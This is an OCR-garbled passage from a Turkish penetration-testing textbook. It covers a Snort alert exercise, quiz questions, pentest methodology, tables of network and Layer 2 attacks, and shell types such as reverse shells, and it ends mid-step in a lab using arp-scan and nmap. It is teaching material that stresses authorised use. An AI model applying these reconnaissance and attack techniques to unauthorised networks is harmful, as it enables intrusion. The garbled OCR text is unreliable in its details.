6. Adim: Ping islemi gerceklestikten sonra Snort uygulamasinin ilgili alarmi tetikledigini tespit ediniz ve
alarmi inceleyiniz (Gorsel 2.83).

/root/local.rules

udp icmp

1] "wi i Kali' cMP pi it edildi-MTEGM KITAP" [#*] [Pri
000001:1] "Wi ci i c it edildi-MTEGM KITAP" [#+] [
[*+] [1:1@00001:1] "Wi an Kali'ye ICMP g it edildi-MTEGM KITAP" [#*]

7856 [%*+] [1:1000001:1] "Windows cihazdan Kal CMP ping tespit edildi-MTEGM KITAP" [#+] [Priority: @] {ICMP}

Gorsel 2.83: Alarmin izlenmesi

Sira Sizde

Yerel ag ortaminda gerceklesen HTTP ve HTTPS trafigini analiz etmek amaciyla Snort araci lizerinde
kural yazarak ilgili protokollerin tespit edilmesini saglayiniz. Olusturdugunuz kurallar dogrultusunda
ag trafiginiizleyerek alarm Gretimini gdzlemleyiniz ve elde edilen bulgulari sizma testi perspektifinden
degerlendiriniz.
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OLCME VE DEGERLENDIRME

A) Asagida verilen climlelerin basindaki bosluga ciimlede yer alan ifade dogru ise “D”, yanhs ise “Y”
yaziniz.

1. ( ) Pasif bilgi toplama slirecinde hedef sistemle dogrudan etkilesime gecilir.

2. () Acik bir port, sistem tzerinde c¢alisan bir servisin varligini gosterebilir.

3. ( ) TCP SYN tarama yonteminde baglanti tamamen kurularak veri alisverisi yapilir.

4. ( ) Metasploit Framework, sistemlerdeki zafiyetleri istismar ederek Payload calistirmak icin
kullanilan bir aractir.
5. ( ) Kablosuz aglarda WPA2 sifreleme yontemi, WEP’e gore daha zayif bir glivenlik saglar.

6. ( )Snort, ag trafigini analiz ederek belirlenen kurallara gore alarm Uretebilen bir IDS/IPS sistemidir.
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B) Asagidaki sorulari dikkatlice okuyarak dogru cevabi isaretleyiniz.

7. Metasploit Framework kullanilarak bir hedef sistemde yetkisiz erisim saglandiktan sonra
calistirilan kod pargasina ne ad verilir?

A) Encoder
B) Exploit
C) Listener
D) Payload
E) Scanner

8. Asagidakilerden hangisi kablosuz ag giivenligi agisindan en giiglii sifreleme protokoliidiir?

A) Open Network
B) WEP
C) WPA
D) WPA2
E) WPA3

9. Snort aracinin kullanim amaci asagidakilerden hangisidir?
A) Sifre kirma islemleri gerceklestirmek
B) Ag trafigini izleme ve saldiri tespiti yapmak
C) Zararli yazihm gelistirmek
D) Port yonlendirme islemleri yapmak
E) Veri tabani yonetimi yapmak

10. Asagidakilerden hangisi pasif bilgi toplama siirecine 6rnektir?

A) Nmap ile port tarama

B) Exploit calistirma

C) Brute-force saldirisi

D) Acik bilgi kaynagi arastirmasi
E) Zafiyet tarama
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11. Asagidakilerden hangisi TCP SYN tarama yontemiyle ilgili dogru bir ifadedir?
A) Baglanti baslatilir ancak tamamlanmadan sonlandirilir.

B) Hig paket gbnderilmez.
C) Tam baglanti kurularak veri aligverisi yapilir.

D) Sadece UDP protokoli kullanilir.
E) Sadece acik portlari kapatir.

12. Sizma testi siirecinin dogru siralamasi asagidakilerden hangisidir?

A) istismar > Kesif - Raporlama

B) Tarama - Raporlama = Kesif

C) Kesif > Tarama - Zafiyet Analizi > istismar - Raporlama
D) Raporlama - istismar - Tarama

E) Tarama - istismar - Kesif

13. Asagidakilerden hangisi Aggressive Scan (-A) yontemi ile ilgili dogru bir ifadedir?

A) Sadece acik portlari listeler.

B) Hedef sistem hakkinda kapsamli bilgi toplar (OS, servis, versiyon vb.).
C) Hic ag trafigi olusturmaz.

D) Sadece UDP protokolini kullanir.

E) Sadece pasif bilgi toplama yapar.

14. Zafiyet tarama araglarinin iirettigi false positive sonucu neyi ifade eder?
A) Gergek bir glivenlik agiginin tespit edilmesi

B) Sistemin tamamen glivenli olmasi
C) Var olmayan bir zafiyetin varmis gibi raporlanmasi

D) Saldirinin basariyla gergeklesmesi
E) Sistem erisiminin engellenmesi
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IMI

SIZMA TESTI
UYGULAMALARI

3.1. GUVENLIK AGIKLARININ TESPITINDE
SIZMA TESTi UYGULAMALARI

3.2. ZAFiYET TESPiT RAPORU HAZIRLAMA

NELER OGRENECEKSINiz?

e Guvenlik agiklarini tespit edecek

uygulamalar yapma

¢ Sizma testi raporu hazirlama

Ag segmentasyonu, anonim erigim, ayrintil
bilgi toplama, bilgi sizdirma, dis ag, dizin kesfi,
ic ag, parola deneme saldirilari, , port ve servis
kesfi, ters baglanti (reverse shell), uzaktan

komut ¢alistirma, yetki ylkseltme
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3. OGRENME BIiRIiMi

HAZIRLIK CALISMALARI

. Gunlik hayatta kullandiginiz bir web sitesine giris yapmadan (login olmadan) hangi
sayfalara ve igeriklere erisebildiginizi inceleyerek erisebildiginiz sayfalar Uzerinden site
hakkinda hangi bilgileri cikarabileceginizi degerlendiriniz. Degerlendirmelerinizi sinif
arkadaslarinizla paylasiniz.

. Kendi kullandiginiz bilgisayar veya telefon Gizerinde ¢alisan uygulamalari gézlemleyiniz. Arka
planda calisan servis veya uygulamalarin glivenlik acisindan ne tir riskler olusturabilecegini
degerlendirerek dustincelerinizi sinif arkadaslarinizla paylasiniz.

3. Tanimadiginiz bir kisinin sizden telefon, mesaj veya e-posta yoluyla kisisel bilgi (sifre, kimlik
bilgisi vb.) istedigini hayal ediniz. Bu durumda nasil davranmaniz gerektigini ve hangi
bilgileri kesinlikle paylasmamaniz gerektigini ifade ediniz.

3.1. GUVENLIK ACIKLARININ TESPITINDE SIZMA TESTi UYGULAMALARI

Bugtlin bilgi sistemleri yalnizca teknik bilesenlerden degil insan, siireg¢ ve teknoloji lgluslniin birlikte
cahistigl karmasik yapilardan olusur. Bu yapilarin givenligini saglamak ise yalnizca teorik énlemlerle
degil gercek saldiri senaryolarinin kontrollii bir sekilde simiile edilmesiyle miimkiin hale gelir. iste bu
noktada sizma testleri, sistemlerin disaridan ve iceriden gelebilecek tehditlere karsi ne kadar dayanikli
oldugunu ortaya koyan en énemli yontemlerden biri olarak 6ne gikar.

Sizma (penetrasyon) testleri; bir saldirganin bakis acisiyla hareket ederek hedef sistemlerdeki zayifliklari
tespit etmeyi, bu zafiyetlerin ne 6lglide istismar edilebilecegini gostermeyi ve olusabilecek riskleri
somut verilerle ortaya koymayi amaclar. Bu siirecte amag, zarar vermek degil aksine olasi zararlari
onceden belirleyerek gerekli giivenlik dnlemlerinin alinmasini saglamaktir. Bu yoniyle sizma testleri,
kurumlarin glivenlik olgunluk seviyesini degerlendirmede kritik bir rol oynar. Bugtin teknolojinin farkli
alanlara yayilmasiyla birlikte sizma testleri de yalnizca klasik ag yapilariyla sinirh kalmamis, ¢cok daha
genis bir yelpazeye yayllmistir. Bu kapsamda farkl sistem ve altyapilara yonelik ¢esitli sizma testi tlrleri
uygulanir. Ornegin kablosuz aglar lizerinden yetkisiz erisimlerin tespit edilmesine yonelik kablosuz
ag sizma testleri, mobil cihazlarda calisan uygulamalarin giivenligini degerlendiren mobil uygulama
sizma testleri ve kurum ici sistemlere yonelik tehditleri analiz eden i¢ ag sizma testleri bu alanin temel
basliklari arasinda yer alir. Bunun yani sira internet lizerinden erisilebilen sistemlerin glvenligini 6lcmek
amaciyla dig ag sizma testleri, finansal islemlerin giivenligini saglamak icin 6deme altyapisi sizma
testleri ve kullanici etkilesiminin yogun oldugu sistemlerde uygulanan web uygulama sizma testleri
de yaygin olarak gergeklestirilir. Endistriyel kontrol sistemlerinin hedef alindigi SCADA sizma testleri,
otonom calisan teknolojilerin glivenligini inceleyen otonom sistem sizma testleri, giinlik hayatta
sik¢a kullanilan cihazlara yonelik ATM/KIOSK sizma testleri ve donanim tabanh ¢ézimleri kapsayan
gomiilii sistem sizma testleri ise daha spesifik ve ileri dlizey uygulama alanlaridir. TiUm bu test tirleri,
farkh sistemlerin kendine 6zgi risklerini ortaya g¢ikarmayi hedeflerken ortak bir amaca hizmet eder.
Bu amacg, glivenlik aciklarini erken asamada tespit etmek ve bu aciklarin kot niyetli kisiler tarafindan
kullanilmasini engellemektir. Bu nedenle sizma testleri yalnizca bir glivenlik kontroli degildir.
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Ayni zamanda sirekli gelisen tehdit ortamina karsi proaktif bir savunma mekanizmasidir (Gorsel 3.1).

Gorsel 3.1: Sizma testleri

m Bu bolimde yer alan uygulamalar; kullanilan isletim sistemi strim, sistem bagimliliklari,

kGtUphaneler ve araclarin gerektirdigi ek ozelliklere bagh olarak farklilik gosterebilir. Bu

nedenle uygulamalari gerceklestirirken ihtiyac duyulan giincellemelerin yapilmasi, eksik

bagimliliklarin giderilmesi ve gerekli araclarin dogru sekilde kurulmasi 6nem arz eder. Ayrica

gerceklestirilen tim calismalarin etik kurallar cercevesinde yiritilmesi gerekmektedir.

Bu uygulamalar yalnizca egitim ve yetkili test ortamlarinda kullanilmali, izinsiz sistemler

Uzerinde kesinlikle uygulanmamalidir. Aksi durumlar hem hukuki hem de etik agidan
sorumluluk dogurur.

3.1.1. Ag Sizma Testi Uygulamalari

Buglin bilgisayar aglari; kurumlarin veri iletisimini saglayan, hizmetlerin surekliligini destekleyen ve
kritik bilgilerin tasindigi 6nemli sistemlerden biridir ancak bu aglar; yanhs yapilandirmalar, giincel
olmayan sistemler ve glivenlik acgiklari nedeniyle siber saldirganlar icin hedef haline gelmektedir. Bu
nedenle ag glivenliginin saglanmasi, yalnizca teorik bilgilerle degil gercek senaryolar lizerinden yapilan
uygulamalarla mimkunddr.

Ag sizma testleri (Network penetration testing), bir saldirganin bakis agisiyla hareket edilerek ag
altyapisindaki zafiyetlerin tespit edilmesini amaclayan kontrolli givenlik degerlendirme sirecleridir.
Bu testler sayesinde acik portlar, zayif servisler, hatali yapilandirmalar ve yetkisiz erisim noktalari ortaya
cikarilabilir. Boylece kurumlar, olasi saldirilar gerceklesmeden 6nce gerekli dnlem alma firsati elde eder.

SIZMA TESTI @




MR | 3. OGRENME BiRiMi

Ag sizma testleri genel olarak i¢ ag (internal) ve dis ag (external) testleri bigciminde iki temel yaklasim
tizerinden gergeklestirilir. i¢ ag testlerinde kurum igerisinden gelebilecek tehditler degerlendirilirken dis
ag testlerinde internet Uzerinden erisilebilen sistemlerin givenligi analiz edilir.

Ag sizma testi uygulamalarinda hedef sistemlerin kesfi (reconnaissance), port ve servis tarama islemleri,
zafiyetlerin belirlenmesi ve temel istismar (exploitation) adimlari ele alinir. Kullanilacak araglar ve
yontemler sayesinde ag sizma testi uygulamalari yalnizca bir glivenlik kontroll degil ayni zamanda
sistemlerin dayanikhhgini artirmaya yonelik proaktif bir tekniktir.

Ag Sizma Testlerinde Kullanilan Metodolojiler

Ag sizma testi uygulamalari belirli bir plan ve metodoloji cercevesinde gergeklestirilir. Bu metodolojiler;
test slirecinin sistematik, tekrarlanabilir ve glvenli bir sekilde yilritiilmesini saglar. Yapilan testlerin
uluslararasi standartlara uygun olmasina da katkida bulunur. Bu alanda en yaygin kullanilan
metodolojilerden biri PTES'tir. PTES, sizma testi slrecini yedi temel asamada ele alir. Bu yaklasim,
testin basindan sonuna kadar sistematik bir yol haritasi sunar. Bir diger nemli metodoloji ise OWASP
Testing Guide’dir. Her ne kadar web uygulamalarina odaklansa da ag lGzerinden erisilen servislerin test
edilmesinde de onemli bir referans kaynagidir. OWASP 6zellikle zafiyetlerin siniflandiriimasi ve test
edilmesi konusunda rehberlik saglar. Bunun yaninda NIST (SP 800-115) tarafindan yayimlanan Technical
Guide to Information Security Testing and Assessment dokiimani, sizma testleri icin kapsamli bir
cerceve sunar. NIST metodolojisi; planlama, kesif, saldiri ve raporlama asamalarini temel alarak daha
resmi ve kurumsal bir yaklasim benimser. Ag sizma testlerinde kullanilan temel metodoloji adimlari
genel olarak su sekilde 6zetlenebilir:

1. Planlama ve Kapsam Belirleme: Testin hedefleri, sinirlari ve izinleri belirlenir.

2. Bilgi Toplama (Reconnaissance): Hedef sistemler hakkinda aktif ve pasif bilgi toplanir.

3. Tarama ve Kesif (Scanning): Acik portlar, servisler ve calisan sistemler tespit edilir.

4. Zafiyet Analizi (Vulnerability Analysis): Tespit edilen sistemlerdeki glivenlik agiklari belirlenir.

5. istismar (Exploitation): Zafiyetlerin gercekten kullanilabilir olup olmadig test edilir.

6. Yetki Yiikseltme ve Kalicilik (Post-Exploitation): Sistemde elde edilen erisimin derinligi analiz edilir.

7. Raporlama: Tim bulgular, risk seviyeleri ve ¢oziim 6nerileri ile birlikte raporlanir.

Ag sizma testi uzmani, calismaya genelde arag calistirarak degil nce kapsami ve kurallari netlestirerek
baslar clinkl ag sizma testi yalnizca teknik bir stirec degil izin, sinir, risk ve kayit altina alma gerektiren
profesyonel bir glivenlik degerlendirmesidir. Bu nedenle test uzmani ilk asamada hangi sistemlerin
test edilecegini, hangi IP araliklarinin kapsamda oldugunu, hangi saatlerde islem yapilacagini, iretim
ortamina zarar vermemek icin hangi sinirlamalarin gecerli oldugunu ve acil durumda kiminle iletisim
kurulacagini belirler. Bu asama ¢ogu zaman kapsam dokimani, yetkilendirme yazisi ve test plani ile
desteklenir. Bundan sonra uzman, hedef ag hakkinda on bilgi toplama asamasina gecer. Burada amacg,
dogrudan saldirmak degil agin yapisini anlamaktir. incelenen baslica noktalar; IP bloklari, aktif sistemler,
ag segmentleri, internetten erisilebilen servisler, DNS kayitlari, alt alan adlari, yonlendirici ve givenlik
duvarti izleri, kullanilan isletim sistemleri, servis stirlimleri ve olasi lglinci taraf bilesenlerdir. Eger i¢ ag
testi yapiliyorsa ayrica VLAN yapisi, DHCP/DNS dizeni, etki alani yapisi, paylasimlar, kullanici istemcileri,
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sunucular ve ag cihazlarinin yonetim araytzleri de gézden gecirilir (Gorsel 3.2).

Gorsel 3.2: Ag altyapisi bilgi toplama

Bilgi toplamanin ardindan uzman, tarama ve kesif siirecini ylritlr. Bu asamada hangi cihazlarin aktif
oldugu, hangi portlarin acik bulundugu, hangi servislerin calistigl ve bu servislerin hangi striimlerde
oldugu belirlenir. Sadece port acik mi kapali mi, sorusuna bakilmaz. O portun gercekten ne sundugu,
ne kadar gilincel oldugu ve bilinen zafiyetlerle eslesip eslesmedigi de incelenir. Ayni zamanda gereksiz
servisler, yanhs yapilandiriimis yonetim panelleri, eski SMB, FTP ve Telnet servisleri, acik veritabani
portlari, sifrelenmemis protokoller gibi riskli alanlar not edilir. Sonraki asamada uzman, zafiyet analizi
yapar. Bu asama ¢ok 6nemlidir ¢linkli her gorilen bilgi bir acik degildir. Uzman, topladigi verileri
yorumlayarak gercek risk olusturabilecek durumlari ayiklar. Ornegin acik bir portun bulunmasi tek basina
kritik olmayabilir ancak o portta ¢alisan servisin eski stirim olmasi, varsayilan hesap kullanmasi veya
kimlik dogrulama hatasi icermesi ciddi riskler dogurabilir. Bu nedenle uzman; servis zafiyetleri, kimlik
dogrulama zayifliklari, yanhs erisim izinleri, ag segmentasyon eksikleri, zayif parola politikalari, gereksiz
yetkileri, sifrelenmemis iletisimi ve i¢ agda yanal hareket imkani veren yapilandirmalari degerlendirir.

Kontrolli bicimde dogrulama ve istismar asamasina gegilir. Buradaki amag zarar vermek degil tespit
edilen zafiyetin gercekten kullanilabilir olup olmadigini géstermektir. Uzman, bu asamada ornegin
zayIf parola denemeleri, yanlis yetkilendirme kontrolleri, servis bazli Exploit dogrulamalari, paylasim
erisimi testleri, Ortadaki Adam saldirilarina acik senaryolar, VLAN ayriminin asilip asilamadigl, i¢c agda
baska sistemlere gecis imkani gibi konulari sinar. Bu islem; daima kontrollU yaratilir, hizmet kesintisi
olusturabilecek veya veri bozabilecek agresif adimlar dikkatle planlanir. Eger ilk erisim elde edilirse
uzman, ilerlemeye devam ederek sistemin ne kadar savunmasiz oldugunu anlamak i¢in yetki yikseltme
ve ag icinde ilerleme imkanlarini da inceler. Distk yetkili bir kullanici hesabindan daha yiiksek haklara
¢ikilabiliyor mu, ayni kimlik bilgileri baska sistemlerde de galisiyor mu, paylasim izinleri (izerinden hassas
verilere erisim mimkin m, etki alani ortaminda kimlik bilgisi sizintisi var mi, segmentasyon gergekten
uygulaniyor mu gibi sorular cevaplanir. Bu asamada uzman, saldirganin gercek hayatta ne kadar ileri
gidebilecegini ortaya koymaya calisir.

Ag sizma testi uzmani teknik adimlar kadar kanit toplama ve kayit tutma isine de 6nem verir. Bulunan
her acik icin ekran gorintileri, komut ciktilari, log kayitlari, erisim 6rnekleri, etkilenen sistem bilgileri
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ve tekrar Uretim adimlari toplanir ¢linki iyi bir testin degeri yalnizca agik bulmakta degil o agigin
ispatlanabilir ve diizeltilebilir bicimde sunulmasindadir.

Test tamamlandiktan sonra uzman risk analizi ve etki degerlendirmesi yapar. Her bulgu ayni 6nemde
degildir. Bu nedenle agikliklarin isletmeye etkisi, somurilebilirlik diizeyi, disaridan veya iceriden
erisilebilir olup olmadigi, hangi verileri veya hizmetleri etkileyebilecegi ve zincirleme saldiriya yol agip
acmayacagi degerlendirilir. Genellikle kritik, ylksek, orta, diisik gibi seviyeler kullanilir. Burada yalnizca
teknik siddet degil is etkisi de dikkate alinir.

Raporlama, son asamadir. Profesyonel bir ag sizma testi raporu genelde iki bolim halinde hazirlanir.
ilki, yoneticilere yonelik dzet bolimidiir. Burada testin amaci, kapsami, genel risk seviyesi, en kritik
bulgular ve kisa &neriler yer alir. ikincisi teknik béliimdiir. Bu béliimde her bulgu icin aciklama, etkilenen
sistemler, kanitlar, istismar ydntemi, risk seviyesi ve ¢dziim 6nerileri ayrintili bicimde yazilir. Ornegin
yalnizca SMB agik denmez. Hangi sistemde bulundugu, neden riskli oldugu, nasil dogrulandigi ve nasil
kapatilmasi gerektigi acikca belirtilir.

Iyi bir sizma testi uzmaniraporu teslim edip isi bitirmez. Cogu zaman iyilestirme énerileri de sunar. Bunlar
arasinda gereksiz servislerin kapatilmasi, eski strimlerin glincellenmesi, glgli parola politikalarinin
uygulanmasi, MFA kullanimi, ag segmentasyonunun iyilestirilmesi, SMB, LDAP ve SSLyapilandirmalarinin
glclendirilmesi, yonetim arayilzlerinin sinirlandirilmasi, loglama, izleme mekanizmalarinin artirilmasi
gibi maddeler bulunur. Ardindan miimkiinse dizeltmeler yapildiktan sonra tekrar dogrulama testi
gerceklestirilir.

Ag Sizma Testlerinde Test Edilen Agikliklar ve Saldirilar

Ag sizma testlerinde amacg yalnizca sistemlere erismek degil ayni zamanda bu erisimin hangi zafiyetler
Gzerinden mimkin oldugunu ortaya koymaktir. Bu sirecte hem teknik aciklar hem de yapilandirma
hatalari detayli sekilde incelenir. Test edilen baslica acikliklar ve bu agikliklara yonelik saldiri tirleri
Tablo 3.1’de verilmistir.

Tablo 3.1: Ag Sizma Testlerinde Agikliklar, Saldirilar ve Saldiri Tirleri

Agikhik Tiird Test Edilen Durumlar Uygulanan Saldirilar | Saldiri Tirii (Kategori)

Gereksiz acik portlar, Servis exploitleri,
Acik Port ve Servis ¢Iep P Aktif saldiri, servis

. . eski servisler, yanhs banner grabbing, L L
Zafiyetleri istismari (exploitation)
yapilandirmalar brute-force

. Kimlik dogrulama
ZayIf sifreler, varsayilan | Brute-force, password

Kimlik Dogrulama . . saldirilar
i N hesaplar, parola tekrar | spraying, credential .
Zafiyetleri . (Authentication
kullanimi stuffing
attacks)
. Firewall hatalari, agik L Yetki asimi, ag ici
Ag Yapilandirma L Yetkisiz erisim, network |
y6netim portlari, VLAN o ilerleme (lateral
Hatalar pivoting, ACL bypass
yanhslari movement)
SMB (Server Message o
. Bilgi toplama
Paylasim ve Block) paylasimlari, SMB enumeration, null . .
. . o ) ) (Enumeration), veri
Yetkilendirme Agiklari | yanlis izinler, agik session, veri sizdirma
. sizdirma
klasorler
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e/

Acikhik Tiird Test Edilen Durumlar Uygulanan Saldirilar | Saldiri Tura (Kategori)

Ag Trafigi Giivenlik
Aciklar

Sifresiz iletisim, zayif
SSL/TLS, acik veri
iletimi

MitM, packet sniffing,
session hijacking

Dinleme (Sniffing),
Ortadaki Adam (MitM)

Kablosuz Ag Zafiyetleri

Zayif sifreleme, aglk
SSID, varsayilan ayarlar

Handshake yakalama,
Evil Twin, deauth
saldirisi

Kablosuz saldirilar
(Wireless attacks)

Yetki Yiikseltme ve Ag
icinde Yayilma

Yerel zafiyetler, yanls
yetkilendirme, domain
aciklari

Privilege escalation
(yetki yukseltme),
pass-the-hash, lateral
movement

Yetki yikseltme,
post-exploitation

Yerel ag seviyesinde gerceklestirilen Layer 2 saldirilari, ag altyapisinin en temel katmanini hedef alarak
veri akisini maniplle etmeye ve glvenlik kontrollerini asmaya yonelik kritik tehditler olusturur. Bu
alanda test edilen Layer 2’ye ait baslica agikliklar ve bu agikliklara yonelik saldiri tiirleri Tablo 3.2°de
verilmistir.

Tablo 3.2: Layer 2’ye Ait Baslica Agikliklar, Saldirilar ve Saldiri Tirleri

. . Saldiri Tiirii
Agikhik Turd Test Edilen Durumlar Uygulanan Saldirilar !
(Kategori)

ARP dogrulama
ARP Zafiyetleri yoklugu, statik ARP ARP Spoofing/ARP Poisoning MitM
kullanilmamasi
DHCP Giivenlik DHCP dogrulama . Yetkisiz ag
. DHCP Spoofing, Rogue DHCP . .
Aciklar eksikligi yonlendirme
Yanls VLAN i i . .
. . VLAN Hopping (Switch Spoofing, | Ag segmentasyonu
VLAN Zafiyetleri | yapilandirmasi, trunk . s
Double Tagging) ihlali
hatalari
MAC Adres . . CAM Table
. . . ... | Port security olmamasi | MAC Flooding
Guvenligi Eksikligi overflow
Switch Giivenlik . . Ag yonlendirme
STP korumasi yok. STP Manipulation saldirilari o
Aciklar manipilasyonu

Ag Sizma Testi Uygulamalarinda Exploit Kullanimi

Sizma testlerinde Exploit kullanimi, tamamen kontrolli ve yetkilendirilmis bir sirec¢ icerisinde
gerceklestirilir. Bu asamadaki temel amag, sistemi ele gecirmek degil tespit edilen glvenlik agiginin
gercekten istismar edilebilir olup olmadigini dogrulamaktir. Bu nedenle uzmanlar, dogrudan agresif
saldirilar yerine asamali ve dikkatli bir yaklasim benimser. Oncelikle zafiyetin varligi dogrulanir, ardindan
duslk etkili testler uygulanarak sistem tzerindeki etkisi gozlemlenir. Gerekli gérilmesi durumunda ise
sinirlive kontrolli Exploit denemeleri yapilir. Canli sistemler Gizerinde gergeklestirilen Exploit denemeleri
dikkatli planlanmadiginda gesitli riskler dogurabilir. Yanls veya kontrolsiiz uygulamalar sonucunda
servislerin durmasi, sistemlerin kararsiz hale gelmesi, veri kaybi gibi istenmeyen durumlar ortaya
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¢ikabilir. Bu nedenle profesyonel sizma testlerinde belirli ¢alisma saatleri tanimlanir, kritik sistemler
icin 6zel kisitlamalar uygulanir ve mimkiin oldugunda testler izole edilmis laboratuvar ortamlarinda
gerceklestirilir.

Ag Sizma Testlerinde Shell Kavrami

Shell, bir sistem Uzerinde komutlarin g¢alistiriimasini saglayan araytzdir. Kullanici ile isletim sistemi
arasinda bir kopru gorevi gorir. Sizma testleri agisindan degerlendirildiginde ise shell elde edilmesi,
hedef sistem Uzerinde belirli bir kontrol seviyesine ulasildigini gésterir. Bu durum, tespit edilen zafiyetin
yalnizca teorik olmadigini, pratikte de kullanilabildigini ortaya koyar. Sizma testlerinde elde edilen
shelller farkh tirlerde olabilir ve her biri erisim seviyesi, kullanim kolayligi ve yetenek agisindan farkhlik
gosterir.

1. Bind Shell

Bind shell, hedef sistem Uzerinde belirli bir portun dinlemeye acilmasi ve test uzmaninin bu porta
baglanmasi mantigiyla calisir. Bu yontemde baglantiyl baslatan taraf test uzmanidir. Hedef sistem, bir
port lzerinden bekler. Test uzmani bu porta baglanarak komut calistirir. Genellikle basit senaryolarda
kullanilir. Dezavantaji giivenlik duvarlari (firewall) tarafindan engellenme ihtimalinin yiiksek olusudur.

2. Reverse Shell

Reverse shell, hedef sistemin test uzmanina dogru baglanti baslatmasi prensibine dayanir. Bu yontem
ozellikle ag glivenlik 6nlemlerini asmak acisindan oldukga etkilidir. Bu yontemde hedef sistem disariya
baglanti kurar. Test uzmani baglantiyi dinler. Firewall arkasindaki sistemlere erisimde avantaj saglar.
Avantaji ise cogu durumda disa dogru baglantilar engellenmedigi icin daha basarili sonug vermesidir.

3. Non-Interactive Shell

Sinirhi shelller, komut ¢calistirmaya izin verse de tam etkilesimli bir ortam sunmaz.

« Tek seferlik veya sinirl komut ¢alistirma mimkuindr.

(o)A LI [« Terminal 6zellikleri kisithidr.

« Genellikle ilk erisim asamasinda elde edilir.

4. Interactive Shell

Etkilisimli shelller, daha gelismis ve kullanici dostu bir tirdir. Normal bir terminal gibi davranir.

- Komut gecmisi kullanilabilir.
Ozellikleri sunlardir: « Tab tamamlama, ekran kontroli gibi 6zellikler vardir.

« Daha stabil ve kullaniglidir.

Sizma testlerinde genellikle ilk elde edilen sinirli shell, daha sonra etkilesimli hale getiriimeye calisilir.
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5. Privileged Shell

Yetkili shell, sistem lzerinde yliksek yetkilerle [6rnegin yonetici (root)] calistirilan shelldir.

« Tim sistem Uzerinde kontrol saglar.
Ozellikleri sunlardir: « Dosya sistemi, kullanicilar ve servisler yonetilebilir.

« En kritik asamayi temsil eder.

Ag sizma testlerinde shell elde etmek, stirecin 6nemli bir doniim noktasidir ancak asil Gnemli olan, bu
erisimin seviyesi ve kapsamidir. Dislik yetkili bir shell ile sinirliislemler yapilabilirken yetkili bir shell ile

sistem tamamen kontrol altina alinabilir.

- Elde edilen shell hangi yetki seviyesinde calisiyor?

Test siirecinde su . Sistem Uzerinde kalicilik saglanabiliyor mu?

sorulara cevap
aranir:

« Bu erisim diger sistemlere gecis icin kullanilabilir mi?

« Ag segmentasyonu bu tir erisimleri engelliyor mu?

i¢ Agda VLAN/Switch Kaynakl Giivenlik Kontrolleri

ic ag sizma testlerinde 6zellikle anahtarlama (switch) cihazlarindan kaynaklanan yapilandirma
hatalari ve protokol zafiyetleri mutlaka kontrol edilmelidir. Ag altyapisinin glivenligi degerlendirilirken
VLAN vyapilandirmalari, port givenligi ve ilgili ag protokolleri detayli sekilde analiz edilmeli, tespit
edilen bulgular raporlanmalidir. Bu kapsamda i¢ ag givenlik degerlendirmelerinde su kontrollerin

gerceklestiriimesi gerekir:

« VLAN segmentasyonunun yanlis yapilandiriimasi (aglarin yeterince izole edilememesi)
« VLAN hopping saldirilarina karsi gerekli énlemlerin alinmamis olmasi

« Trunk portlarin gereksiz veya kontrolsiiz sekilde agik birakilmasi

« Native VLAN'in varsayilan (VLAN 1) olarak kullanilmasi

« Switch portlarinda port security mekanizmalarinin devre disi olmasi

« MAC flooding saldirilarina karsi koruma mekanizmalarinin bulunmamasi

« ARP spoofing/MitM saldirilarina acik ag yapisi

« DHCP spoofing saldirilarina karsi koruma (DHCP Snooping) eksikligi

« Dynamic ARP Inspection (DAI) yapilandirmasinin yapilmamis olmasi

« BPDU Guard ve STP (Spanning Tree Protocol) korumalarinin devre disi olmasi
« Kullanilmayan switch portlarinin aktif durumda birakilmasi

« Management VLAN ile kullanici VLAN’larinin ayrilmamis olmasi

« Switch yonetim arayizlerine (SSH, Telnet, Web) dis erisimin agik olmasi
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< SNMP servisinin varsayilan community string (public/private) ile calismasi

« Telnet gibi glivensiz yonetim protokollerinin kullaniimasi

Belirtilen kontrollerin gerceklestirilmesi; ic agda olusabilecek yetkisiz erisim, ag segmentleri arasi
gecis (lateral movement), ag trafiginin manipilasyonu gibi saldirilarin 6nlenmesi agisindan buylk
oneme sahiptir. Bu nedenle s6z konusu yapilandirma hatalari ve zafiyetler tespit edilerek sizma testi
raporlarinda detayl sekilde belirtiimeli ve gerekli iyilestirme onerileri sunulmalidir.

1. Uygulama

Bir kurumun yerel aginda bulunan hedef bir sistem Uzerinde ag sizma testi gerceklestirmeniz
istenmektedir. Bu kapsamda maddeler halinde verilen islemleri gergeklestiriniz:

« Ag Uzerindeki aktif cihazlari tespit ederek hedef sistemi belirleyiniz.
- Sistem Uzerinde ¢alisan servis ve agik portlari analiz ediniz.

- Tespit ettiginiz zafiyetlere yonelik uygun Exploit ve payload kullanarak kontrollii sekilde erisim sagla-
mayi deneyiniz.

- Elde ettiginiz erisim sonrasinda yetki seviyesini dogrulayarak sistem hakkinda bilgi toplayiniz ve kritik
verilere erisim durumunu degerlendiriniz.

« Calisma sonunda tespit edilen giivenlik agiklarini, olusturdugu riskleri ve alinmasi gereken iyilestirme
onlemlerini kisaca raporlayiniz.

1. Adim: Yerel ag lzerinde aktif olarak calisan cihazlari tespit etmek amaciyla (Goérsel 3.3) arp-scan
-l komutunu kullanarak bir tarama gerceklestiriniz (Ag Uzerindeki aktif sistemlerin kesfi icin farkh
yontemler de bulunmaktadir. Bu yéntemlerden biri olan netdiscover araci ile de ayni ag segmentinde
yer alan cihazlar tespit edilebilir.).

PORE PTE. LTD.
)

Gorsel 3.3: Yerel agda aktif olarak galisan cihazlarin tespit edilmesi

@ SIZMA TESTI



SIZMATESTi UYGULAMALARI ;- .7

2. Adim: Ag lzerindeki aktif sistemlerin tespit edilmesinde kullanilan alternatif yontemlerden biri de
Nmap aracidir. Bu baglamda ag kesfi gerceklestirmek amaciyla nmap -sn 192.168.1.0/24 komutunu
kullanilarak belirtilen IP araliginda yer alan canl sistemlerin kesfini gergeklestiriniz (Gérsel 3.4).

Dosya Eylemler Diizen Gérinim Yardim

16:52 EDT

Nmap sc
Host is up

Nmap scan 1
Host is up

oud Netwo logy Singapore PTE.)
c19.home (192.168.1.116)

Technol

Host is up

MAC Add 1
Nmap 1 45 e r Mur iye t Ltra.home (192.168.1.2180)
Host is up

MAC Addres

Nmap scan

Host is up

MAC Add

Nmap

Host 1s nn

MAC Addres

Nmap scan

Host 15 up (

MAC Add

Nmap

Host is up.

Gorsel 3.4: Canli sistem kesfi

m Yapilan taramalar ve degerlendirme sonucunda yerel agda bulunan 192.168.1.226 IP
adresine sahip hedef sistem lzerinde sizma testi islemleri gerceklestirilebilecektir.

3. Adim: Hedef sistem (zerinde ¢alisan servislerin ve bu servislere ait siriim bilgilerinin tespit
